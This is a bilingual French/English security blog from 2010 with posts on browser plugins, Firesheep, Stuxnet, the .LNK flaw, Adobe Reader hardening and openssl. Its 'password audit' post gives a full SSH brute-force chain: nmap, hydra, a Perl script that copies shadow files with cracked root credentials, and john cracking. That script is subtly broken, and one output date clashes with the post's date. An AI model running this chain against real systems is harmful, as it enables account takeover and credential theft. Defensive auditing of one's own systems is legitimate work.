15 Dec 2010

Mise à jour des plugins Firefox

Lien Rapide: Vérification des modules complémentaires de Firefox

Qu’est ce qu’un plugin ?

  • Les plugins offrent des vidéos, animations et jeux.
  • Ils sont développés par d’autres entreprises que Firefox comme Adobe Systems et Apple.
  • Les plugins ne se mettent pas toujours à jour automatiquement.

Pourquoi dois-je mettre à jour mes plugins ?

  • Les plugins qui ne sont pas à jour peuvent perturber votre navigation sur Internet et vous faire perdre du temps.
  • Les plugins qui ne sont pas à jour augmentent les risques d’attaque par des logiciels malveillants, des virus et toute autre menace de sécurité.
  • Des plugins à jour permettent de rendre Internet plus sécurisé et performant pour vous.
Source: https://www.mozilla.com/fr/plugincheck/#why-update

--
Quick Link: Check Firefox plugins

What is a plugin?

  • Plugins power videos, animation and games.
  • They’re built outside of Firefox by companies like Adobe Systems and Apple.
  • Plugins don’t always update automatically.

Why should I update my plugins?

  • Old plugins can interrupt browsing and waste your time.
  • Old plugins increase your risk for attack by malware, viruses, and other security threats.
  • Updated plugins have improvements that make the web better and safer for you.
Source: https://www.mozilla.com/en-US/plugincheck/#why-update

11 Dec 2010

Mauvais mélange: Facebook et wifi gratuit

Firesheep est un plugiciel (plugin) pour Firefox qui sert de preuve de concept pour démontrer comment facilement on peut renifler les témoins (cookies) de session des applications vulnérables. Ceci permet de court-circuiter l’authentification par détournement de session (session hijacking). Ce plugiciel permet l’opération en 2 clicks seulement, sans exagération! Wikipedia contient une description de ce plugiciel et du problème fondamental qu’il essaie de démontrer.

La lesson à retenir est que lorsqu’on utilise des applications web vulnérables qui n’utilisent pas https et qui utilisent des témoins de session (Facebook, Twitter…), on se doit d’utiliser les précautions suivantes:
  1. Utiliser l’alternative HTTPS lorsque possible (ex: https://www.amazon.ca, https://www.facebook.com)
  2. Bien quitter sa session en utilisant la fonction sign-out (pour rendre désuet le témoin de session)
  3. Éviter d’utiliser une connexion wi-fi sans chiffrage lorsqu’on accède à ces services
J’ai pris quelques minutes pour essayer ce plugiciel (avec deux systèmes séparés) et je peux vous confirmer que ça fonctionne très bien au moins avec Facebook et le site de Cisco…

Firesheep is a POC firefox plugin that makes sniffing session cookies of vulnerable apps (way too) easy. This basically lets anybody bypass authentication to your account through session hijacking. Here’s a description on Wikipedia.
The lesson here is for these potentially vulnerable apps that don’t encrypt the whole session (via https) and use session cookies (Facebook, Twitter…), people should:
  1. Try using the HTTPS alternative when possible (eg: https://www.amazon.ca, https://www.facebook.com)
  2. Sign-out when done with a web service (to obsolete the session cookie)
  3. Avoid using unencrypted wifi when accessing unencrypted web services
I took a few minutes to try this plugin out (in a VM) and I can tell you that it works well with at least the Facebook and Cisco sites.

27 Nov 2010

Audit rapide de mots de passe Unix/Linux accessibles via SSH

Voici une méthode rapide et efficace de vérifier si on a des mots de passe faibles sur nos systèmes Unix/Linux. On utilise une approche de craquage en ligne avec hydra et, si on arrive à deviner le mot de passe root, on exécute une passe de craquage locale avec john (plus efficace). Les outils en question sont tous disponibles via Backtrack.
Here’s a quick method to verify if we have weak passwords on our Unix/Linux systems. We use one round of online password cracking with hydra and, if we find root passwords, we execute a round of local cracking using john (much faster). This procedure runs beautifully via Backtrack.

  • Trouver tous les serveurs SSH dans un sous-réseau  –  Find all SSH servers in a subnet:
$ nmap -oG nmap-ssh.txt -p22 10.14.26.0/24
  • Créer une list des serveurs à auditer  –  Create a list of SSH servers to audit:
$ grep open nmap-ssh.txt  | awk ‘{print $2}’ | sort -u > ssh-hosts.txt
  • Exécuter une ronde de crackage en-ligne avec hydra  –  Execute initial online password guessing with hydra:
hydra -M ssh-hosts.txt -L logins.txt -P passwords.txt -e ns -o cracked.txt ssh
  • Le fichier cracked.txt contient les noms d’usagers et mots de passes  –  The cracked.txt file contains the usernames and passwords that were cracked:
$ cat cracked.txt
# Hydra v7.1 run at 2011-11-27 16:43:46 on ssh-hosts.txt ssh (hydra  -M ssh-hosts.txt -C creds -e ns -o cracked.txt ssh
[22][ssh] host: 10.14.26.28   login: adm   password: adm
[22][ssh] host: 10.14.26.141   login: root   password: r00t123[...]
  • Créer un script pour récupérer les fichiers passwd et shadow via SCP (avec les accès root découverts) en préparation à une ronde de crackage locale  –  Create a script to pull remote passwd and shadow files (with root credentials discovered) to prepare for an offline password cracking round:
$ vi get-passwd.pl
#!/usr/bin/perl
use Net::OpenSSH;  # obtain from http://search.cpan.org/~salva/Net-OpenSSH/lib/Net/OpenSSH.pm
my $filename  = “cracked.txt“;
open(FP, $filename) || die “ERROR: Could not open $filename\n”;
while ($line = ){
chomp $line;
if (!($line =~ “^#”)){
($t1,$t2,$ip,$t3,$login,$t3,$pwd) = split(/\s+/, $line);
if ($login eq “root”){
print “$ip: $login / $pwd\n”;
my $ssh = Net::OpenSSH->new(“$login:$pwd\@$ip”);
mkdir $ip;
$ssh->scp_get({glob => 1}, ‘/etc/passwd’, ‘/etc/*shadow*’, “$ip”);
}
}
}
close(FP);
  • Exécuter le script  –  Execute the script:
$ ./get-passwd.pl
10.14.26.141: root / r00t123

10.14.26.140: root / r00t123
[...]
  • Créer un script pour consolider les fichiers passwd et shadow  –  create a script to merge the passwd and shadow files:
$ cat unshadow.sh
#!/bin/sh
for i in `ls *-passwd | cut -f1 -d-`;do
echo $i
/pentest/passwords/john/unshadow $i-passwd $i-shadow > $i-merged
done
  • Executer le script  –  Run the script:
./unshadow.sh
  • Créer un script pour exécuter john  –  create a script to execute john:
$ cat john.sh
#!/bin/sh
JOHN=/pentest/passwords/john
PATH=$JOHN
john –config=$JOHN/john.conf –wordlist=passwords.txt *-merged
john –config=$JOHN/john.conf –wordlist=/dict/passwords.txt *-merged
john –config=$JOHN/john.conf –wordlist=/dict/txt/passwords-rockyou.txt *-merged
  • Exécuter les script pour craquer plus de mots passe en mode “offline” (plus rapide)  –  Run the script to perform offline password cracking (faster than online):
$ ./john.sh
Loaded 35 password hashes with 35 different salts (FreeBSD MD5 [32/32])
oracle           (oracle)
root123           (root)
[...]
  • Le fichier john.pot contient les mots de passes obtenus via john  –  The john.pot file contains the offline-cracked passwords obtained via john:
cat john.pot
$1$NxT24Nw3$Jujtwx.duFjXmlgUl1nbh.:oracle
$1$4.c65g6x$Pfrv3ib5ucb9DSr6ULkfn0:please
[...]

4 Nov 2010

4 nouvelles vulnérabilités exploitées dans Stuxnet!

Symantec vient de publier une nouvelle version de son étude sur Stuxnet. 4 nouvelles vulnérabilités de jour zéro utilisées, c’est probablement du jamais vu!
Voici les détails sur 3 des 4 des vulnérabilités:
  1. Exécution automatique des Shortcut
  2. Exécution distante via le Windows “spooler”
  3. Exécution à distance via RPC
On peut voir qu’il existe du code existant qu’on peut utiliser pour les exploiter. Il faut mettre nos Windows à jour!
Check this out, 4 zero-day vulnerabilities exploited in Stuxnet with an estimated development group of 5 to 10 developers during 6 months: http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_stuxnet_dossier.pdf
We may need to look into the other vulnerabilities to see if they were properly patched (print spooler, RPC…)? Here’s some background on the (3 of 4) identified vulnerabilities. The exploit tab shows that there are available code samples to help future attackers…:
http://www.securityfocus.com/bid/41732: Shortcut automatic file execution
http://www.securityfocus.com/bid/43073: Print spooler remote code execution
http://www.securityfocus.com/bid/31874: RPC handling remote code execution
Apparently also that the LNK vulnerability has been used before in 2008. That’s a damn long zero-day if it’s really true!

29 Aug 2010

Attention aux modules complémentaires pour Firefox

En voulant vérifier s’il existait des vulnérabilités récentes avec le gestionnaire de mots de passe de Firefox, je suis tombé sur l’article suivant qui parle d’un module complémentaire malicieux appelé Mozilla Sniffer. Ce module est arrivé à être rendu disponible sur le site principal de Firefox. Ce que ça me dit c’est qu’il faut faire très attention lorsqu’on ajoute un module complémentaire, plugin ou autre [dans n'importe quel navigateur].
Un autre point sur les modules complémentaires. Avec le modèle de sécurité actuel de Firefox [et autres], un module peut être malicieux dès son arrivée dans l’inventaire officiel de Mozilla [et autres] ou peut le devenir lors d’une mise à jour. Il est donc sage d’utiliser aucun module complémentaire d’une source inconnue. Malheureusement, aujourd’hui je ne connais aucune source vraiment fiable – autre que les compagnies de renommée qui portent un peu plus attention à la sécurité et à la qualité logicielle, comme Microsoft. Je ne mettrais malheureusement pas Adobe, Apple et Oracle dans cette liste.
Avec Firefox, j’aime bien les modules NoScript, SyncPlaces, Web of Trust (WOT) et Download Them All mais je n’aime pas vraiment le fait qu’une mise à jour pourrait affecter des milliers d’utilisateurs… Je crois que l’équipe de Mozilla reconnaît ce problème est que c’est pourquoi on travaille sur  un nouveau modèle pour addresser ce type de vecteur important.
Entre temps, j’attend toujours pour un navigateur qui gère bien la sécurité tout en offrant les fonctionalités et le contrôle minimum dont je m’attend. Pour le moment, la balance sécurité/fonctionalité n’est pas atteinte encore…
Ref: Firefox blog [2010/07/13]

Add-on security vulnerability announcement

One malicious add-on and another add-on with a serious security vulnerability were discovered recently on the Mozilla Add-ons site. Both issues have been dealt with, and the details are described below.

Mozilla Sniffer

Issue

An add-on called “Mozilla Sniffer” was uploaded on June 6th to addons.mozilla.org. It was discovered that this add-on contains code that intercepts login data submitted to any website, and sends this data to a remote location. Upon discovery on July 12th, the add-on was disabled and added to the blocklist, which will prompt the add-on to be uninstalled for all current users.

Impact to users

If a user installs this add-on and submits a login form with a password field, all form data will be submitted to a remote location. Uninstalling the add-on stops this behavior. Anybody who has installed this add-on should change their passwords as soon as possible.

Status

Mozilla Sniffer has been downloaded approximately 1,800 times since its submission and currently reports 334 active daily users. All current users should receive an uninstall notification within a day or so. The site this add-on sends data to seems to be down at the moment, so it is unknown if data is still being collected.
Mozilla Sniffer was not developed by Mozilla, and it was not reviewed by Mozilla. The add-on was in an experimental state, and all users that installed it should have seen a warning indicating it is unreviewed. Unreviewed add-ons are scanned for known viruses, trojans, and other malware, but some types of malicious behavior can only be detected in a code review.

Credit

This issue was originally reported by Johann-Peter Hartmann.

Note

Having unreviewed add-ons exposed to the public, even with low visibility, has been previously identified as an attack vector for hackers. For this reason, we’re already working on implementing a new security model for addons.mozilla.org that will require all add-ons to be code-reviewed before they are discoverable in the site. Here’s more information about it.

21 Aug 2010

Information privée disponible sur iPhone

Voici une application développée par Nicolas Seriot qui permet de démontrer l’information personnelle que le iPhone [et en partie le iPad] permet d’obtenir à n’importe quelle application. Il l’a présenté à BlackHat DC 2010.
A project that shows the kind of data a rogue iPhone application can collect. Nicolas presented this at BlackHat 2010 in DC.

11 Aug 2010

Se protéger contre les attaques sur la vulnérabilité .LNK de Windows (Stuxnet/Sality)

Je viens de terminer ce rapport à propos de la vulnérabilité très récente de Windows (MS10-046, CVE2010-2568) utilisée par les vers Stuxnet et Sality. J’ai vérifié le comportement de la vulnérabilité et des contremesures suggérées par Microsoft en utilisant le nouveau module Metasploit. J’y ai aussi rajouté quelques recommandations pour se protéger contre ce type d’attaque “jour zéro” (dans le futur).
This report I just completed is a quick proof of concept that shows how easy it is to use a brand new Metasploit Module to attack a vulnerable Windows XP SP3 Workstation manually.  The module exploits a recently discovered Windows vulnerability (MS10-046, CVE2010-2568): Windows incorrectly parses shortcuts in such a way that malicious code may be executed when the icon of a specially crafted shortcut is displayed. This vulnerability has been used by the Stuxnet and Sality worms.
Then, I verified the Microsoft workaround and it appears to be effective, even without reboot. I also verified the out-of-band hotfix released on 2010/08/02 and it’s also effective. But this time, a reboot is necessary. Note that the workaround and the hotfix are both meant to prevent the Microsoft vulnerability (that simplifies the malicious payload propagation). They wouldn’t prevent an end-user from double-clicking the malicious shortcut(s) and then executing the malicious payload that it points to.
In the past, we have accepted that users be simply careful while web surfing and with dealing with email attachments. We also told them to make sure that they updated their antivirus signatures, applications, operating system and browser plugins.
Unfortunately these days, being really careful is not good enough anymore. This proof of concept helps demonstrate that it is important, more than ever, to apply the least privilege rules (ie: remove admin privilege during day-to-day operations) while using any Windows operating system version.
Références
  1. Module Metasploit
  2. Avis Microsoft (KB2286198)
  3. Bulletin de sécurité Microsoft MS10-046
  4. Blog Trend Micro
  5. Stuxnet selon McAfee
  6. CVE 2010-2568

19 Jul 2010

Vulnérabilité “0 day” de Microsoft exploitable via Metasploit!

La vulnérabilité des shortcuts Microsoft peut maintenant être exploitée via Metasploit!
Il est important, plus que jamais d’appliquer les règles de privilèges minimums pour les usagers  Windows ou bien d’appliquer les recommandations de Microsoft.
The Microsoft shortcut vulnerability can now be exploited by using Metasploit!
It is now important, more than ever, to apply the least privilege rules for Windows users or to follow the specific Microsoft workaround.

22 May 2010

Coloration des mots clés pour les fichiers textes exportés de Wireshark

J’ai trouvé une façon simple de mettre en couleur les mots clés des fichiers textes exportés de captures Wireshark dans MacVim (ou vim):
  1. Activer la liste des types de fichiers reconnus par vim via: Syntax –> Show filetypes in menu
  2. Activer la reconnaissances des mots clés avec Syntax –> Protocols (ou Syntax –> Services)
REF: Vim documentation: syntax
Wireshark-exported text file syntax highlighting in vim
I found a simple way to perform syntax highlighting in MacVim (or vim) for Wireshark-exported text files with the following menu combination:
  1. Syntax –> Show filetypes in menu
  2. Syntax –> Protocols (or Syntax –> Services)

22 Apr 2010

Comment sécuriser Adobe Reader pour prévenir les attaques malveillantes

Une pratique que j’utilise pour diminuer les vulnérabilités d’Adobe Reader est de modifier les préférences suivantes (Édition->Préférences):
  • Fiabilité multimédia -> Autoriser les opérations multimédia: NON
  • Gestionnaire des approbations -> Autoriser l’ouverture de pièces jointes non PDF…: NON
  • JavaScript -> Activer Acrobat JavaScript: NON
  • Protection (renforcée) -> Activer la protection renforcée: OUI
Il faut toutefois continuer à se méfier des autres vulnérabilités d’Adobe Reader que ces changements n’adressent pas. Autrement dit, il faut continuer à éviter d’ouvrir des documents de sources inconnues ou douteuses.
Voir ici-bas pour la version anglaise d’Adobe Reader…

I copied the following steps from here.
Note: These steps are written for Adobe Reader 9. If you have the full version of Adobe Acrobat 9 you should secure it as well with these steps. If you have an older version (pre-9) of Adobe Acrobat, these steps may not match exactly. But you would still want to secure these applications as best you can.
1. Open Adobe Reader 9.
2. From the Edit menu choose Preferences.
3. In the Categories list, choose JavaScript.
Note: Past vulnerabilities in Adobe Reader have included exploits via JavaScript. You shouldn’t need JavaScript in a PDF. If you open a PDF that has JavaScript, you will be prompted to turn it on. You can refuse to turn it on and open the PDF without it.
4. Un-check the Enable Acrobat JavaScript box.
5. In the Categories list, choose Multimedia Trust (legacy).
Note: The default settings here allow multimedia files to play automatically. By changing the settings for the multimedia players to “prompt” you, you can choose not to, especially if you weren’t expecting a media file.
6. Highlight the Permission for Windows Built-In Player is set to Always choice.
7. From the Change permission for selected multimedia player to drop down list, choose Prompt.
8. Repeat steps 6 – 7 with the remaining multimedia choices.
9. In the Categories list, choose Security (Enhanced).
10. Check the Enabled Enhanced Security box.
11. In the Categories list, choose Trust Manager.
12. Un-check the Allow opening of non-PDF file attachments with external applications box.
13. Click OK to close Preferences.
14. Adobe Reader is secured and is ready to use.
Note: This April 6, 2010 Adobe blog post, PDF “/Launch” Social Engineering Attack, discusses the ‘Allow opening of non-PDF file attachments with external applications’ option and why it should be un-checked at this time. As the post says, you should “only open and execute the file if it comes from a trusted source.” This is especially true if you receive an attachment that you were not expecting, even from a co-worker.

28 Jan 2010

Commande openssl

OpenSSL Command-Line HOWTO Ce lien donne des bonnes examples sur l’utilisation de la commande openssl.

The above link shows good examples for using the openssl command.
Exemples/Examples:
# list all available ciphers
openssl ciphers -v

# Use the verify option to verify certificates.
openssl verify cert.pem

# Connecting to a secure SMTP server
# port 25/TLS; use same syntax for port 587
openssl s_client -connect remote.host:25 -starttls smtp

# port 465/SSL
openssl s_client -connect remote.host:465
# RFC821 suggests (although it falls short of explicitly specifying) the two characters “” as line-terminator. Most mail agents do not care about this and
# accept either “” or “” as line-terminators, but Qmail does not. If you want to comply to the letter with RFC821 and/or communicate with Qmail, use also the -crlf option:
openssl s_client -connect remote.host:25 -crlf -starttls smtp
# Connecting to a different type of SSL-enabled server is essentially the same operation as outlined above. As of the date of this writing, openssl only supports command-line
# TLS with SMTP servers, so you have to use straightforward SSL connections with any other protocol.
# https: HTTP over SSL
openssl s_client -connect remote.host:443

# ldaps: LDAP over SSL
openssl s_client -connect remote.host:636

# imaps: IMAP over SSL
openssl s_client -connect remote.host:993

# pop3s: POP-3 over SSL
openssl s_client -connect remote.host:995
# The s_server option allows you to set up an SSL-enabled server from the command line, but it’s I wouldn’t recommend using it for anything other than
# testing or debugging. If you need a production-quality wrapper around an otherwise insecure server, check out Stunnel instead.
# The s_server option works best when you have a certificate; it’s fairly limited without one.
# the -www option will sent back an HTML-formatted status page
# to any HTTP clients that request a page
openssl s_server -cert mycert.pem -www

# the -WWW option "emulates a simple web server. Pages will be
# resolved relative to the current directory." This example
# is listening on the https port, rather than the default
# port 4433
openssl s_server -accept 443 -cert mycert.pem -WWW

OpenSSL Command-Line HOWTO

OpenSSL Command-Line HOWTO:

Une bonne référence sur l'utilisation de la commande openssl pour faire des diagnostiques SSL/TLS.

--
A good reference for troubleshooting SSL/TLS problems by using the openssl command.